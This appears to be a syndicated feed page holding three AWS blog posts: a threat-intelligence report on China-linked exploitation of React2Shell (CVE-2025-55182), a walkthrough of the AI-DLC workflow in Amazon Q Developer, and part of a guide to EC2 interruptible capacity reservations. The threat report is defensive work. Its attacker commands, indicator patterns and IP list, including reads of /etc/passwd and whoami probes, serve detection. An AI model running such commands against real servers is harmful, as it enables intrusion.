China continues to be the most prolific source of state-sponsored cyber threat activity, with threat actors routinely operationalizing public exploits within hours or days of disclosure. Through monitoring in our AWS MadPot honeypot infrastructure, Amazon threat intelligence teams have identified both known groups and previously untracked threat clusters attempting to exploit CVE-2025-55182. AWS has deployed multiple layers of automated protection through Sonaris active defense, AWS WAF managed rules (AWSManagedRulesKnownBadInputsRuleSet version 1.24 or higher), and perimeter security controls. However, these protections aren’t substitutes for patching. Customers using managed AWS services aren’t affected, and no action is required. Customers running React or Next.js in their own environments (Amazon Elastic Compute Cloud (Amazon EC2), containers, and so on) must update vulnerable applications immediately.

Understanding CVE-2025-55182 (React2Shell)

Discovered by Lachlan Davidson and disclosed to the React Team on November 29, 2025, CVE-2025-55182 is an unsafe deserialization vulnerability in React Server Components. The vulnerability was named React2Shell by security researchers.

Key facts:

  • CVSS score: 10.0 (Maximum severity)
  • Attack vector: Unauthenticated remote code execution
  • Affected components: React Server components in React 19.x and Next.js 15.x/16.x with App Router
  • Critical detail: Applications are vulnerable even if they don’t explicitly use server functions, as long as they support React Server Components

The vulnerability was responsibly disclosed by Vercel to Meta and major cloud providers, including AWS, enabling coordinated patching and protection deployment prior to the public disclosure of the vulnerability.

Who is exploiting CVE-2025-55182?

Our analysis of exploitation attempts in AWS MadPot honeypot infrastructure has identified exploitation activity from IP addresses and infrastructure historically linked to known China state-nexus threat actors. Because of shared anonymization infrastructure among Chinese threat groups, definitive attribution is challenging:

  • Infrastructure associated with Earth Lamia: Earth Lamia is a China-nexus cyber threat actor known for exploiting web application vulnerabilities to target organizations across Latin America, the Middle East, and Southeast Asia. The group has historically targeted sectors across financial services, logistics, retail, IT companies, universities, and government organizations.
  • Infrastructure associated with Jackpot Panda: Jackpot Panda is a China-nexus cyber threat actor primarily targeting entities in East and Southeast Asia. The activity likely aligns to collection priorities pertaining to domestic security and corruption concerns.
  • Shared anonymization infrastructure: Large-scale anonymization networks have become a defining characteristic of Chinese cyber operations, enabling reconnaissance, exploitation, and command-and-control activities while obscuring attribution. These networks are used by multiple threat groups simultaneously, making it difficult to attribute specific activities to individual actors.

This is in addition to many other unattributed threat groups that share commonality with Chinese-nexus cyber threat activity. The majority of observed autonomous system numbers (ASNs) for unattributed activity are associated with Chinese infrastructure, further confirming that most exploitation activity originates from that region. The speed at which these groups operationalized public proof-of-concept (PoC) exploits underscores a critical reality: when PoCs hit the internet, sophisticated threat actors are quick to weaponize them.

Exploitation tools and techniques

Threat actors are using both automated scanning tools and individual PoC exploits. Some observed automated tools have capabilities to deter detection such as user agent randomization. These groups aren’t limiting their activities to CVE-2025-55182. Amazon threat intelligence teams observed them simultaneously exploiting other recent N-day vulnerabilities, including CVE-2025-1338. This demonstrates a systematic approach: threat actors monitor for new vulnerability disclosures, rapidly integrate public exploits into their scanning infrastructure, and conduct broad campaigns across multiple Common Vulnerabilities and Exposures (CVEs) simultaneously to maximize their chances of finding vulnerable targets.

The reality of public PoCs: Quantity over quality

A notable observation from our investigation is that many threat actors are attempting to use public PoCs that don’t actually work in real-world scenarios. The GitHub security community has identified multiple PoCs that demonstrate fundamental misunderstandings of the vulnerability:

  • Some of the example exploitable applications explicitly register dangerous modules (fs, child_process, vm) in the server manifest, which is something real applications should never do.
  • Several repositories contain code that would remain vulnerable even after patching to safe versions.

Despite the technical inadequacy of many public PoCs, threat actors are still attempting to use them. This demonstrates several important patterns:

  • Speed over accuracy: Threat actors prioritize rapid operationalization over thorough testing, attempting to exploit targets with any available tool.
  • Volume-based approach: By scanning broadly with multiple PoCs (even non-functional ones), actors hope to find the small percentage of vulnerable configurations.
  • Low barrier to entry: The availability of public exploits, even flawed ones, enables less sophisticated actors to participate in exploitation campaigns.
  • Noise generation: Failed exploitation attempts create significant noise in logs, potentially masking more sophisticated attacks.

Persistent and methodical attack patterns

Analysis of data from MadPot reveals the persistent nature of these exploitation attempts. In one notable example, an unattributed threat cluster associated with IP address 183[.]6.80.214 spent nearly an hour (from 2:30:17 AM to 3:22:48 AM UTC on December 4, 2025) systematically troubleshooting exploitation attempts:

  • 116 total requests across 52 minutes
  • Attempted multiple exploit payloads
  • Tried executing Linux commands (whoami, id)
  • Attempted file writes to /tmp/pwned.txt
  • Tried to read/etc/passwd

This behavior demonstrates that threat actors aren’t just running automated scans, but are actively debugging and refining their exploitation techniques against live targets.

How AWS helps protect customers

AWS deployed multiple layers of protection to help safeguard customers:

  • Sonaris Active Defense

    Our Sonaris threat intelligence system automatically detected and restricted malicious scanning attempts targeting this vulnerability. Sonaris analyzes over 200 billion events per minute and integrates threat intelligence from our MadPot honeypot network to identify and block exploitation attempts in real time.

  • AWS WAF Managed Rules

    The default version (1.24 or higher) of the AWS WAF AWSManagedRulesKnownBadInputsRuleSet now includes updated rules for CVE-2025-55182, providing automatic protection for customers using AWS WAF with managed rule sets.

  • MadPot Intelligence

    Our global honeypot system provided early detection of exploitation attempts, enabling rapid response and threat analysis.

  • Amazon Threat Intelligence

    Amazon threat intelligence teams are actively investigating CVE-2025-55182 exploitation attempts to protect AWS infrastructure. If we identify signs that your infrastructure has been compromised, we will notify you through AWS Support. However, application-layer vulnerabilities are difficult to detect comprehensively from network telemetry alone. Do not wait for notification from AWS.
    Important: These protections are not substitutes for patching. Customers running React or Next.js in their own environments (EC2, containers, etc.) must update vulnerable applications immediately.

Immediate recommended actions

  1. Update vulnerable React/Next.js applications. See the AWS Security Bulletin (https://aws.amazon.com/security/security-bulletins/AWS-2025-030/) for affected and patched versions.
  2. Deploy the custom AWS WAF rule as interim protection (rule provided in the security bulletin).
  3. Review application and web server logs for suspicious activity.
  4. Look for POST requests with next-action or rsc-action-id headers.
  5. Check for unexpected process execution or file modifications on application servers.

If you believe your application may have been compromised, open an AWS Support case immediately for assistance with incident response.
Note: Customers using managed AWS services are not affected and require no action.

Indicators of compromise

Network indicators

  • HTTP POST requests to application endpoints with next-action or rsc-action-id headers
  • Request bodies containing $@ patterns
  • Request bodies containing "status":"resolved_model" patterns

Host-based indicators

  • Unexpected execution of reconnaissance commands (whoami, id, uname)
  • Attempts to read /etc/passwd
  • Suspicious file writes to /tmp/ directory (for example, pwned.txt)
  • New processes spawned by Node.js/React application processes

Threat actor infrastructure

IP Address, Date of Activity, Attribution
206[.]237.3.150, 2025-12-04, Earth Lamia
45[.]77.33.136, 2025-12-04, Jackpot Panda
143[.]198.92.82, 2025-12-04, Anonymization Network
183[.]6.80.214, 2025-12-04, Unattributed threat cluster

Additional resources

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

CJ Moses

CJ Moses

CJ Moses is the CISO of Amazon Integrated Security. In his role, CJ leads security engineering and operations across Amazon. His mission is to enable Amazon businesses by making the benefits of security the path of least resistance. CJ joined Amazon in December 2007, holding various roles including Consumer CISO, and most recently AWS CISO, before becoming CISO of Amazon Integrated Security September of 2023.

Prior to joining Amazon, CJ led the technical analysis of computer and network intrusion efforts at the Federal Bureau of Investigation’s Cyber Division. CJ also served as a Special Agent with the Air Force Office of Special Investigations (AFOSI). CJ led several computer intrusion investigations seen as foundational to the security industry today.

CJ holds degrees in Computer Science and Criminal Justice, and is an active SRO GT America GT2 race car driver.

Building with AI-DLC using Amazon Q Developer

Post Syndicated from Will Matos original https://aws.amazon.com/blogs/devops/building-with-ai-dlc-using-amazon-q-developer/

The AI-Driven Development Life Cycle (AI-DLC) methodology marks a significant change in software development by strategically assigning routine tasks to AI while maintaining human oversight for critical decisions. Amazon Q Developer, a generative AI coding assistant, supports the entire software development lifecycle and offers the Project Rules feature, allowing users to tailor their development practices within the platform.

Recently, AWS made its AI-DLC workflow open-source, enabling developers to create software using this methodology. This workflow is implemented in Amazon Q Developer through its Project Rules customization feature. In this post, we will demonstrate how the AI-DLC workflow operates in Amazon Q Developer using an example use case.

AI-DLC Workflow Overview

The AI-DLC workflow is the practical implementation of the AI-DLC methodology for executing software development tasks. As outlined in the AI-DLC Method Definition Paper, the workflow has three phases. These phases are Inception, Construction, and Operations. Inception involves planning and architecture. Construction focuses on design and implementation. Operations cover deployment and monitoring. Each phase includes distinct stages. These stages address specific software development life cycle functions. The workflow adapts to project requirements. It analyzes requests, codebases, and complexity. This analysis determines the necessary stages. Simple bug fixes skip planning. They go directly to code generation. Complex features need requirements analysis. They also require architectural design and detailed testing.

The workflow maintains quality and control through structured milestones and transparent decision-making. At each phase, AI-DLC asks clarifying questions, creates execution plans, and waits for approval. Every decision, input, and response is logged in an audit trail for traceability. Whether building a new microservice, refactoring legacy code, or fixing a production bug, AI-DLC scales its rigor to match needs—comprehensive when complex, efficient when simple, and always in control. Figure 1 shows the phases and stages within the adaptive AI-DLC workflow. The stages shown in green boxes are mandatory, while those in yellow boxes are conditional.

AI-DLC workflow diagram showing three phases: Inception Phase (blue) with mandatory steps for Workspace Detection, Requirements Analysis, and Workflow Planning, plus conditional steps for Reverse Engineering, User Stories, Application Design, and Units Generation; Construction Phase (green) with conditional steps for Functional Design, NFR Requirements, NFR Design, and Infrastructure Design, followed by mandatory Code Generation and Build and Test steps that loop for each unit; and Operations Phase (orange) with an Operations step. The workflow flows from User Request at the top to Complete at the bottom.

Figure 1. SDLC phases and stages in AI-DLC workflow

Prerequisites

Before we begin the walk-through, we must have an AWS account or AWS Builder Id for authenticating Amazon Q Developer. If you don’t have one, sign up for AWS account or create an AWS builder id. You can use any of the Integrated Development Environments (IDEs) supported by Amazon Q Developer and install the extension as per the AWS documentation. In this post, we’ll be using the Amazon Q Developer extension in VS Code IDE. Once the plug-in is installed, you’ll need to authenticate Q Developer with the AWS cloud backend. Refer to the AWS documentation for Q Developer authentication instructions.

The AI-DLC workflow generates various Mermaid diagrams in markdown files. To view these diagrams within your IDE, you can install a Mermaid viewer plugin.

Let’s Begin Building!

Let’s construct a simple River Crossing Puzzle as a web UI app using AI-DLC. By choosing a straightforward app, we can concentrate more on learning the AI-DLC workflow and less on the project’s technical intricacies.

The sections below outline the individual steps in the AI-DLC development process using Amazon Q Developer. We’ll showcase screenshots of our IDE with the Amazon Q Developer plug-in and demonstrate how to interact with the workflow.

Although we’ve used the Amazon Q Developer IDE plug-in in this blog post, you can also use Kiro Command Line Interface (CLI) to build with AI-DLC without any additional setup. The workflow remains the same, except that you’ll interact through the command line instead of the graphical interface in the IDE.

As we progress through the workflow, your AI-DLC experience will be tailored to your specific problem statement. You’ll also notice the probabilistic nature of large language models (LLMs), as the questions and artifacts generated by them will vary from one run to another for the same problem statement. For example, if you attempt to replicate the same problem statement we used in this blog post, your experience will likely differ. This is expected and desirable. Despite these minor variations, we’ll eventually find a solution to the problem we initially set out to address.

Step 1: Clone GitHub repo containing the AI-DLC Q Developer Rules

Clone the GitHub repo containing the AI-DLC Q Developer Rules:

git clone https://github.com/awslabs/aidlc-workflows.git

Step 2: Load Q Developer Rules in your project workspace

Follow the README.md instructions in the GitHub repo to copy the rules files over to your project folder.

Step 3: Install and authenticate Amazon Q Developer Extension in IDE

Open the project folder you created in Step 2 in VS Code. Open the Amazon Q Chat Panel in the IDE and ensure that the AI-DLC workflow rules are loaded in Q Developer, as shown in Figure 2. If you don’t see what’s shown in Figure 2, please double-check the steps you performed in Step 2.

Screenshot showing four steps to access AI-DLC rules in Amazon Q: Step 1 shows opening Amazon Q Chat Panel from the left sidebar; Step 2 shows opening a chat session in Amazon Q at the top; Step 3 shows clicking on the Rules button in the chat interface; Step 4 shows ensuring AI-DLC rules are loaded in the rules panel on the right side of the screen.

Figure 2: AI-DLC rules enabling in Amazon Q Developer

Step 4: Start the AI-DLC workflow by entering a high-level problem statement

Our development environment is now set up, and we’re ready to begin application development using AI-DLC. In our Q Developer chat session, we enter the following problem statement:

Using AI-DLC let's build a web application to solve the river crossing puzzle.

Notice that we’ve prefixed our problem statement with “Using AI-DLC …” to ensure that Q Developer engages the AI-DLC workflow. Figure 3 shows what happens next. The AI-DLC workflow is triggered within Q Developer. It greets us with a welcome message and provides a brief overview of the AI-DLC methodology.

Figure 3 shows an expanded view of the AI-DLC workflow rules folder structure on the left. You’ll notice that a single aws-aidlc-rules/core-workflow.md is placed in the designated .amazonq/rules folder, while the rest of the rules files are placed in an ordinary aws-aidlc-rule-details folder. This arrangement is designed to optimize model efficiency. By placing the aws-aidlc-rules/core-workflow.md file in the .amazonq/rules folder, , it serves as additional context, ensuring that the core workflow structure is always accessible without incurring additional token consumption. Conversely, the detailed phase and stage-level behavior rules are stored in the aws-aidlc-rule-details folder and are dynamically loaded as required. This approach conserves Amazon Q’s context window and token usage by retaining only the necessary information within the context at any given time, thereby enhancing model efficiency.

The rules files under the aws-aidlc-rule-details folder are organized into three sub-folders, each representing a phase of AI-DLC. Within each phase, there are stage-specific files. A common folder houses cross-cutting rules applicable to all AI-DLC phases and stages such as the “human-in-the-loop”.

The AI-DLC workflow is self-guided and provides us with a clear understanding of what to expect next. It informs us that it will enter the AI-DLC Inception phase next, starting with the Workspace Detection stage within it.

Screenshot of Amazon Q interface showing AI-DLC workflow initialization. The left sidebar displays a file tree with various workflow stages and configuration files. The main chat area shows a problem statement input box at the top with placeholder text 'Using AI-DLC let's build a web application to solve the most pressing problem.' Below is a welcome message explaining AI-DLC (AI-Driven Development Life Cycle) and its capabilities. Three callout annotations highlight: 1) The core workflow dynamically utilizes detailed instructions for different phases and stages, loading and unloading them as required; 2) AI-DLC workflow kicks off with a welcome message and precise overview; 3) The workflow is structured to load a single Q Developer Rule file, one workflow.md, which then dynamically loads and unloads the stage definitions housed in the 'aws-aidlc-rule-details' folder as needed.

Figure 3: User enters high level problem statement in Amazon Q. AI-DLC workflow is triggered.

Step 5: Workspace Detection

We enter the Workspace Detection stage within the Inception phase. In this stage, AI-DLC analyzes the current workspace and determines whether it’s a greenfield (new) or brownfield (existing) application. Since AI-DLC is an adaptive workflow, it decides whether the next stage will be Reverse Engineering (for brownfield projects) or Requirements Analysis (for greenfield projects).

Since we’re building a greenfield application and there’s no existing code in the workspace to reverse engineer, the workflow will guide us to Requirements Analysis next. If we were working on a brownfield application, the workflow would have performed Reverse Engineering first and then moved on to Requirements Analysis. This demonstrates the adaptive nature of the workflow.

Figure 4 illustrates the process in our IDE when we enter this stage. The workflow requests our permission to create an aidlc-docs folder under the project root. This folder will serve as the repository for all the artifacts generated by AI-DLC during the workflow execution. Subsequently, the workflow generates two files within this folder: aidlc-state.md and audit.md. The purpose of these files is explained in Figure 4.

Screenshot of AI-DLC workspace detection phase showing the Amazon Q chat interface. The left sidebar displays the file tree with an 'aidlc-doc' folder highlighted. The main chat area shows the Inception Phase - Workspace Detection stage with explanatory text about analyzing the workspace. Five callout annotations explain: 1) Workflow creates aidlc-doc directory for storing AI-DLC generated artifacts; 2) The workflow tracks its progress in aidlc-metadata.json for error recovery and session continuity; 3) The audit.md file stores user's prompts; 4) Workflow highlights the AI-DLC phase and stage name with a clear heading for easy tracking; 5) Workflow loads detailed stage-level behavior files dynamically such that they don't consume the context window statically. At the bottom, a user approval prompt shows 'mkdir -p /Users/[...]/NewConsumerPortal/aidlc-docs' with the user asked to approve the 'mkdir' command.

Figure 4: Workspace Detection

The Workspace Detection will quickly finish as this is a greenfield project. The workflow will guide us into Requirements Analysis stage within the Inception phase next.

Step 6: Requirements Analysis

The workflow has progressed to the Requirements Analysis stage, where we will define the application requirements. The AI-DLC workflow presented our high-level problem statement to the Q Developer, which then responded with several requirements clarifications questions, as illustrated in Figure 4.

Several AI-DLC rules came into play at this stage. One rule instructed Amazon Q to avoid making assumptions on the user’s behalf and instead ask clarifying questions. Since LLMs tend to make assumptions and rush towards outcomes, they must be explicitly instructed to align with the engineering rigor of the AI-DLC methodology. To achieve this, the Q Developer presented several requirements clarification questions in requirement-verification-questions.md file and asked us to answer them inline in the file.

Another AI-DLC rule instructed the Q Developer to present questions in multiple-choice format and always include an open-ended option (“Other”) to enhance user convenience and provide flexibility in answering.

As shown in Figure 5, Amazon Q has asked us about the desired puzzle variant, such as the Classic Farmer, Fox, Chicken, and Grain puzzle or other popular variations. Additionally, it has asked us questions about user interaction methods, score persistence across multiple players, and the creation of a leaderboard.

These questions are essential for achieving our desired application outcome. Our responses to these questions will determine the final product. While we didn’t explicitly specify this level of detail in our high-level problem statement, AI-DLC has delegated detailed requirements elaboration to Amazon Q, but we still retain control over what gets built.

Screenshot of AI-DLC Requirements Analysis phase showing a split view. The left side displays a requirements clarification questions markdown file with multiple-choice questions about the Kuer Crossing Portal, including sections about user crossing portal variants, primary user interaction methods, and data storage preferences. The right side shows the Amazon Q chat interface with the Inception Phase - Requirements Analysis heading. Two callout annotations highlight: 1) AI-DLC asks questions in multiple choice format, with an 'Other' option that leaves an open-ended fill-in-the-blank when the answer doesn't match the predefined options; 2) AI-DLC generates config.requirements-clarification-questions.md file containing requirements clarification questions, with questions placed in an MD file where the user can respond inline in the file, using 'Answered' to indicate completion. The chat shows instructions for answering questions to clarify requirements.

Figure 5: Requirements Analysis

We answer all the questions in requirement-verification-questions.md file and enter “Done” in the chat window.

Amazon Q processes our responses. The AI-DLC workflow is designed to identify human errors. It checks if we’ve answered all the questions and identifies any contradictions or ambiguities in our answers. Any confusions, contradictions, or ambiguities will be flagged for follow-up questions. AI-DLC adheres to high standards and ensures that we don’t proceed to the next step until we’re fully in agreement on the requirements between us and Amazon Q.

Since we answered all the questions and there were no contradictions in our answers, the workflow continues and generates a comprehensive requirements.md document, as shown in figure 6.

Screenshot showing AI-DLC requirements review phase with split view. The left side displays a Requirements Document for the River Crossing Puzzle Web Application, including Intent Analysis Summary, User Request details, Request Type, and Functional Requirements with Core Puzzle Functionality items (FR-001 through FR -006) describing game features like classic farmer puzzle, timer display, move tracking, puzzle state validation, and victory messages. The right side shows the Amazon Q chat interface with 'Requirements Analysis Complete' heading, displaying project details including Puzzle Type (Classic Farmer, Fox, Chicken, and Grain river crossing puzzle), Technology (React-based modern web application), and Target Devices (web browsers only). Three callout annotations highlight: 1) Requirements Analysis phase complete; 2) Requirements document generated; 3) User may Request Changes, Add User Stories for Approval, or Approve & Continue, with a REVIEW SAFETY note warning users to review requirements and approve to continue, with options to request changes or add modifications if required.

Figure 6: Requirements Review

The workflow prompts us to review the requirements.md document and decide on the next step. If we’re not aligned on the requirements, we can prompt Amazon Q to help us achieve alignment. We can then iterate on the requirements until we’re fully aligned. Once we’re fully aligned, we prompt AI-DLC to progress to the next stage.

Given the adaptive nature of the AI-DLC workflow, Amazon Q has recommended that this application is simple enough, and we can skip the User Stories stage. If we felt otherwise, we would have overridden the model’s recommendation. In this case, we agree with Q’s recommendation and will therefore enter “Continue” in the chat window.

The workflow will enter Workflow Planning stage next.

Step 7: Workflow Planning

With our requirements established, we proceed to the Workflow Planning stage. In this phase, we leverage the requirements context and the workflow’s intelligence to plan the execution of specific stages of AI-DLC within the workflow to build our application as per the requirements specification.

Figure 7 illustrates the workflow planning stage in Q Developer. The workflow has generated an execution-plan.md file that outlines the recommended stages for execution and those that should be skipped.

The workflow planning process is highly contextual to the requirements. During requirements analysis, we decided to develop a simple river crossing puzzle application, consisting of a single HTML file, without a backend, leaderboard, or persistence. Consequently, Amazon Q recommends that we skip all the conditional stages, such as User Stories, Application Design, Units of Work Planning, and so on, and proceed directly to the Code Generation Planning stage in the Construction phase.

Figure 7 visually represents the recommended workflow graphically, indicating the stages that will be executed and those that will be skipped.

Screenshot of AI-DLC Workflow Planning phase showing an Execution Plan document on the left with Detailed Analysis Summary including user-facing changes, brownfield changes, API changes, and NFR changes, plus Risk Assessment. Below is a Workflow Visualization flowchart diagram showing the workflow stages from Inception through Construction to Operations phases. The right side shows the Amazon Q chat with 'Workflow Planning Complete' heading. Three callout annotations highlight: 1) AI -DLC workflow has analyzed requirements and based on the problem complexity has proposed a set of stages to execute in the workflow; 2) Problem is simple enough that AI-DLC is proposing to skip the detailed optional stages; 3) User may Request Changes, Add back skipped stages or Approve & Continue.

Figure 7: Workflow Planning

Since we’ve opted for a straightforward web UI app in this blog post for brevity, the workflow execution plan suggested by AI-DLC aligns seamlessly with our objectives. Should we not be aligned with the AI-DLC recommended workflow execution plan, we would request Q Developer to modify the plan to suit our preferences.

Since we’ve agreed on the workflow plan, we’ll enter “Continue” in Q’s chat session. If we weren’t aligned with the recommended workflow execution plan, we’d have prompted Q with our concerns and iterated over the revised execution plan until it aligned with our preferences. Following the recommended execution plan, the workflow will transition into the Construction phase and directly into the Code Generation Plan stage in the phase.

Step 8: Code Generation Planning

AI-DLC prioritizes planning over rushing to outcomes. This approach aligns with the concept of human-in-the-loop behavior, allowing us to detect issues early on, provide feedback on the plan, and prevent wrong assumptions from propagating further. Before we proceed with actual Code Generation, we undergo Code Generation Planning.

During Code Generation Planning, AI-DLC creates a detailed, numbered plan. It analyzes the requirements and design artifacts, breaking down the process into explicit steps for generating business logic, the API layer, the data layer, tests, documentation, and deployment files.

The plan is documented in a {unit-name}-code-generation-plan.md file, complete with check boxes. This ensures transparency, allowing users to see what will be built. It also provides control, enabling users to modify the plan. Additionally, it maintains quality by ensuring comprehensive coverage of code, tests, and documentation.

Figure 8 illustrates the AI-DLC’s code generation plan. The proposed workflow comprises eight steps, starting with creating an HTML structure and progressing to adding styling, game logic, and concluding with testing and documentation.

Screenshot of AI-DLC Code Generation Planning showing a Code Generation Plan document for River Crossing Puzzle on the left, with Unit Context listing HTML Structure, CSS Styling, and JavaScript files, followed by Unit Generation Steps including Step 1: HTML Structure Generation, Step 2: CSS Styling Generation, and Step 3 : Core Game Logic Generation with detailed checkboxes for each step. The right side shows Amazon Q chat with code generation plan details. Three callout annotations highlight: 1) The plan doc contains to-do items for AI-DLC to execute. These checkboxes get completed when the task is done; 2) This is how AI-DLC workflow persists and tracks progress state; 3) AI-DLC has proposed an 8-step code generation plan with checkboxes and review prompts, and User may Request Changes or Approve & Continue.

Figure 8: Code Generation Planning

The code generation plan appears reasonable to us. We will proceed to the Code Generation stage by entering “Continue” in Q’s chat session.

Step 9: Code Generation

The Code Generation stage executes the Code Generation Plan we approved in the previous step. It generates actual code artifacts step-by-step, including business logic, APIs, data layers, tests, and documentation. Completed steps are marked with check boxes, progress is tracked, and story traceability is ensured before presenting the generated code for user approval.

Figure 9 illustrates that the Code Generation stage has been completed. We are now reviewing a single index.html file generated with embedded styling and JavaScript consistent with our preference specified in requirements.md.

The workflow provides a summary of the activities performed during the Code Generation phase.

Screenshot of AI-DLC Code Generation phase showing generated HTML code on the left with embedded styling and JavaScript for the River Crossing Puzzle application. The right side shows Amazon Q chat with 'Code Generation Complete - river-crossing-puzzle' heading and a list of generated artifacts including HTML file, CSS interface, drag-and-drop interface, game logic, and testing services. Two callout annotations highlight: 1) The generated code is an HTML file with embedded styling and JavaScript; 2) We have specified during requirements analysis phase that we want a single-file index.html file implementation; 3) Code generation has been completed, and a summary of the generated artifacts is provided.

Figure 9: Code Generation

We’re about to test our newly created application soon. While it may be straightforward to test this simple puzzle app right now, for complex applications, we generate build and test instructions using AI-DLC.

We’ll enter “Continue” in the workflow and enter the final Build and Test stage in the Construction phase.

Step 10: Build and Test

These questions are essential for achieving our desired application.
We’ve reached the final stage of the AI-DLC Construction Phase, known as the Build and Test stage. During this stage, we create comprehensive instruction files that guide the build and packaging of the project, and document the necessary testing layers. These layers include unit tests (validating generated code), integration tests (checking unit interactions), performance tests (load/stress testing), and additional tests as required (security, contract, e2e).

The generated build instructions include dependencies and commands, test execution steps with expected results, and a summary document that provides an overview of the overall build/test status and the project’s readiness for deployment.

Figure 10 illustrates the documentation generated during this stage.

Screenshot of AI-DLC Build and Test phase showing a Build and Test Summary document on the left with Build Status (Build Tool, Build Status, Build Artifacts, Build Warnings) and Test Execution Summary including Unit Tests, Integration Tests, and Performance Tests sections with checkmarks and failure indicators. The right side shows Amazon Q chat with build and test completion status and project summary. Two callout annotations highlight: 1) Build and Test Complete! Build and Test instructions have been documented; 2) The AI-DLC workflow has concluded with a comprehensive summary of all completed stages and generated artifacts.

Figure 10: Build and Test

The AI-DLC workflow has now concluded.

Let’s Solve the Puzzle!

We open index.html in a web browser to access our newly created River Crossing Puzzle application. As shown in figure 11, we see our graphical web UI.

During requirements assessment, we chose a straightforward user interface using HTML, CSS, and JavaScript (without any frameworks), as evident in the display shown in Figure 11. Your display may vary due to the probabilistic nature of LLMs and the choices you made for requirements.

We attempt to solve the puzzle and find that it works as expected.

Side-by-side screenshots of the River Crossing Puzzle web application showing two game states. The left screenshot shows the initial state with a farmer on the left bank, and fox, chicken, and grain items listed below, with a blue river in the center and right bank on the right. The right screenshot shows a game state after moves with the farmer on the right bank and a success message 'Congratulations! You won in 7 moves!' displayed at the bottom. Both screens have a yellow 'Start Over' button and show move counts.

Figure 11: River Crossing Puzzle Web App

Conclusion

This post shows how AWS’s open-source AI-DLC workflow, guided by Amazon Q Developer’s Project Rules feature, helps developers build applications with structured oversight and transparency.

Using a River Crossing Puzzle web application as an example, the walk-through illustrates how AI-DLC methodology adapts its rigor based on project complexity, skipping unnecessary stages for simple applications while maintaining comprehensive processes for complex projects. Throughout each stage, AI-DLC enforces “human-in-the-loop” behavior, requiring user approval at critical checkpoints, asking clarifying questions, and maintaining complete audit trails for traceability.

The exercise successfully demonstrates how AI-DLC balances AI automation with human oversight, enhancing productivity without sacrificing quality or control. By following this structured, repeatable methodology, development teams can leverage generative AI’s capabilities while ensuring humans remain in charge of architectural decisions and implementation approaches. This framework provides the necessary guardrails for responsible and effective AI-assisted software development across projects of varying complexity.

Cleanup

We did not create any AWS resources in this walk-through, so no AWS cleanup is needed. You may cleanup your project workspace at your discretion.

Ready to get started? Visit our GitHub repository to download the AI-DLC workflow and join the AI-Native Builders Community to contribute to the future of software development.

About the authors:

Raja SP

Raja is a Principal Solutions Architect at AWS, where he leads Developer Transformation Programs. He has worked with more than 100 large customers, helping them design and deliver mission critical systems built on modern architectures, platform engineering practices, and Amazon inspired operating models. As generative AI reshapes the software development landscape, Raja and his team created the AI Driven Development Lifecycle (AI-DLC) — an end to end, AI native methodology that re-imagines how large teams collaboratively build production-grade software in the AI era.

Raj Jain

Raj is a Senior Solutions Architect, Developer Specialist at AWS. Prior to this role, Raj worked as a Senior Software Development Engineer at Amazon, where he helped build the security infrastructure underlying the Amazon platform. Raj is a published author in the Bell Labs Technical Journal, and has also authored IETF standards, AWS Security blogs, and holds twelve patents

Siddhesh Jog

Siddhesh is a Senior Solutions Architect at AWS. He has worked in multiple industries in a wide variety of roles and is passionate about all things technology. At AWS Siddhesh is most excited to help customers transition to the AI Driven Development Lifecycle and enable them to build applications rapidly in a secure, complaint and cost efficient cloud environment.

Will Matos

Will Matos is a Principal Specialist Solutions Architect with AWS’s Next Generation Developer Experience (NGDE) team, revolutionizing developer productivity through Generative AI, AI-powered chat interfaces, and code generation. With 27 years of technology, AI, and software development experience, he collaborates with product teams and customers to create intelligent solutions that streamline workflows and accelerate software development cycles. A thought leader engaging early adopters, Will bridges innovation and real-world needs .

Optimize unused capacity with Amazon EC2 interruptible capacity reservations

Post Syndicated from Shubham Sarin original https://aws.amazon.com/blogs/compute/optimize-unused-capacity-with-amazon-ec2-interruptible-capacity-reservations/

Organizations running critical workloads on Amazon Elastic Compute Cloud (Amazon EC2) reserve compute capacity using On-Demand Capacity Reservations (ODCR) to have availability when needed. However, reserved capacity can intermittently sit idle during off-peak periods, between deployments, or when workloads scale down. This unused capacity represents a missed opportunity for cost optimization and resource efficiency across the organization.

Amazon EC2 now offers interruptible ODCRs, a new capability that lets you make unused compute capacity temporarily available to other workloads while maintaining control to reclaim it. This feature helps you optimize reservations and reduce costs across your AWS organization.

In this post, we explore how this works through a practical customer scenario.

Customer scenario: Maximizing reservation utilization across

Consider a financial services company where the trading platform team maintains a large fleet of r7i.4xlarge instances reserved around-the-clock for critical blue/green deployments. During off-peak trading hours and weekends, a significant portion of this reserved capacity sits idle. Meanwhile, the data analytics team regularly runs batch processing jobs for risk modeling—workloads that could benefit from additional compute capacity but don’t require the same availability guarantees as the trading platform.

Previously, sharing this capacity meant losing control over when it could be reclaimed, creating operational challenges when the trading platform needed to scale up quickly during market volatility. Interruptible ODCRs solve this problem by giving the reservation owner control to reclaim capacity when needed for critical operations.

In the following sections, we walk through the key steps to configure capacity sharing, launch instances, and reclaim capacity. The high-level steps are:

  1. Set up capacity sharing
  2. Discover available capacity and launch instances
  3. Reclaim capacity and handle interruptions

Step 1: Set up capacity sharing

The trading platform team begins by identifying unused capacity patterns through Amazon EC2 Capacity Manager. They determine that approximately 60% of their reserved r7i.4xlarge capacity remains unused during overnight hours and weekends.

Create interruptible ODCR

For prerequisites, see Interruptible Capacity Reservations for capacity owners in the Amazon EC2 User Guide.

To repurpose this idle capacity, the trading platform team creates an interruptible ODCR using the AWS Management Console, SDK, or AWS Command Line Interface (AWS CLI). To use the console, they complete the following steps:

  1. On the Amazon EC2 console, choose Capacity Reservations in the navigation pane.
  2. Select the source ODCR and choose Create interruptible reservation.
  3. For Instances to allocate, enter how many instances to allocate (out of a 100-instance reservation). For this example, we allocate 60 instances.
  4. Choose Create interruptible reservation.

This configuration withdraws 60 instances from their original reservation and creates a new ODCR with interruptible configuration. The original reservation now shows 40 instances, and the new interruptible reservation shows 60.

Create interruptible on-demand capacity reservation

Share resources across the organization

With the interruptible reservation created, the reservation owning team uses AWS Resource Access Manager (AWS RAM)—a service that helps you securely share AWS resources across accounts and organizations—to share the newly created ODCR with additional accounts in their organization. When sharing your ODCR, you specify which consumer account IDs in your organization will get access to the interruptible ODCR. Alternatively, you can share the ODCR with your entire AWS Organization or Organizational Unit (OU). When it’s complete, the specified accounts get access to the interruptible ODCR capacity and establish a setup like the one illustrated in the following diagram.

Share resources across the organization

Sharing with all accounts (at once) within the organization requires organization-wide sharing to be enabled in AWS Organizations setup. If organization-wide sharing is not enabled, a user can still share with individual accounts by enumerating each account.

